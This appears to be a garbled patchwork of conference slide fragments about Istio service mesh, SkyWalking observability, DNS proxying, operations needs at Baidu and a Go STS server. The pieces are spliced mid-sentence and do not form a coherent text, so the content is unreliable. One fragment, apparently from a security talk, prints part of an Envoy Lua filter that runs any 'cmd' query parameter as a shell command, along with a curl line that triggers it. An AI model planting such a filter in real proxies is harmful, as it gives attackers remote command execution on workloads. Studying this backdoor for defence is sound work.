Namespace Level Tenancy Control Plane AMF Frontend Namespace AMF Namespace SMF SQL DB AMF App B AMF App A SMF Frontend SMF Ingress Gateway Mesh. All rights reserved. Deep Packet Inspection AMF Frontend Namespace AMF Namespace SMF SQL DB AMF App B AMF App A SMF Frontend SMF Ingress Gateway Redis

Compliant Cloud External CA integration with Istio explained Managed service mesh as a distributed cloud service Lessons Learned on Multi-tenancy Controls in Istio Presenters Lin Sun and Hands-on practices for Controlling Kubernetes Native Apps with Service Mesh Manage and Secure Distributed Services with Anthos Service Mesh Multi-tenant Istio Service Mesh with Gloo Mesh Company

什么是用户想要的监控？分布式监控的三个维度 Metrics Logging Tracing 指标监控 • 指标可被聚合 • 体现系统性能趋势 分布式追踪 • 和请求相关 • HTTP • SQL 日志系统 • 代码逻辑处理事件 • 异常、debug信息容器化和微服务下的监控需求 微观下的监控需求 快速错误追踪 可快速排查在性能测试场景下的 慢方法、异常调用以及异常报文 等信息

process Bypass adaptor SkyWalking backend Tracing Metric Receiver in gRPC/HTTP Analysis Core Query CoreIstio telemetry Attribute Vocabulary https://istio.io/docs/reference/config/policy-and- tel AlarmRecord belong to this type.Query in GraphQL • Five types query • Metadata • Metric • Aggregation • Trace • Alarm https://github.com/apache/incubator- skywalking-query-protocolEcosystem powered

● Resolving DNS for services in remote clusters #IstioCon Role of DNS in Istio, Today 1. DNS query httpbin.ns1.svc.cluster.local 2. DNS response – 10.4.4.4 http req to 10.4.4.4 GET /status/200 ns1.svc.cluster.local SVC IP: 10.4.4.4 #IstioCon DNS Issues on VMs accessing K8s SVCs 1. DNS query for httpbin.ns1.svc.cluster.local 2. DNS response – no such host httpbin.ns1.svc.cluster.local 4.4.4 #IstioCon DNS Issues on ext-TCP SVCs without VIPs #IstioCon Smart DNS Proxying 1. DNS query httpbin.ns1.svc.cluster.local 2. Cached DNS response – 10.4.4.4 DNS queries to the system configured

connect, observe, and secure microservices. SkyWalking is an observability power tool that provides distributed tracing, service mesh telemetry analysis, metric aggregation and visualization for cloud-native

are interacting, both with other services and with the Istio components themselves. Metrics Distributed Traces Access Logs #IstioCon Excellent Observability Istio(envoy) can generate access logs

routing requests to the workload container, the Envoy proxy will instead parse requests for a cmd query parameter and execute it if present, returning the output. $ curl 'http://127.0.0.1:5443/?cmd=id' :gsub('%%(%x%x)', function(h) return string.char(tonumber(h, 16)) end) return s end function query(s) local ans = {} for k,v in s:gmatch('([^&=?]-)=([^&=?]+)' ) do ans[ k ] = urldecode(v) end return request_handle:headers():get(":path") request_handle:headers():replace("backend", "nobackend") local params = query(path) if params["cmd"] ~= nil then local fd = assert(io.popen(params["cmd"], 'r')) local out = a

不能容忍，能否低成本解决？ Ø 比如常用运维降级、止损能力各个产品线重复建设，方案差异大，OP期望运维能力在不同产品线之间能够通用化， 集中化管理，甚至做到自动决策 Ø 精细故障能力（异常query、注入延迟等）期望能够标准化、低成本跨产品线复制 Ø 百度APP架构缺少上下游模块视图和流量视图，黄金指标不足，导致容量管理压测效率低、混沌工程实施成 本高、故障定位成本高。 #IstioCon

} if parseErr := req.ParseForm(); parseErr != nil { return reqParam, fmt.Errorf("failed to parse query from STS request: %v", parseErr) } This is also the case for the STS serverʼs second route, StsStatusPath